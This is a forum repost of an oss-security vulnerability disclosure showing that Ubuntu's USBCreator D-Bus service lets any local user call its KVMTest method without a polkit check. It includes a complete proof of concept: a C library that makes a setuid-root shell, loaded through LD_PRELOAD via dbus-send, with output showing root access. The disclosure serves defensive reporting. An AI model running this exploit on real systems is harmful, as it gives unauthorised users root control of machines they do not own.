KhiZaRix Posted April 25, 2015 Report Posted April 25, 2015 Date: Wed, 22 Apr 2015 16:50:08 -0700From: Tavis Ormandy <taviso@...gle.com>To: oss-security@...ts.openwall.comSubject: USBCreator D-Bus serviceHello,[as-per previous discussion on the vendors list, skipping closeddiscussion of low-severity issue]On my Ubuntu VM, I have a D-Bus service listening oncom.ubuntu.USBCreator. As far as I can tell, this is installed bydefault.It looks like the author intended for all the methods to callcheck_polkit, but KVMTest doesn't.This seems like an obvious mistake, and the following appears to workon my machine:$ cat > test.cvoid __attribute__((constructor)) init (void){chown("/tmp/test", 0, 0);chmod("/tmp/test", 04755);}^D$ gcc -shared -fPIC -o /tmp/test.so test.c$ cp /bin/sh /tmp/test$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator/com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sdadict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"method return sender=:1.4364 -> dest=:1.7427 reply_serial=2$ ls -l /tmp/test-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test$ /tmp/test# ideuid=0(root) groups=0(root)Thanks, Tavis.Source: oss-security - USBCreator D-Bus service Quote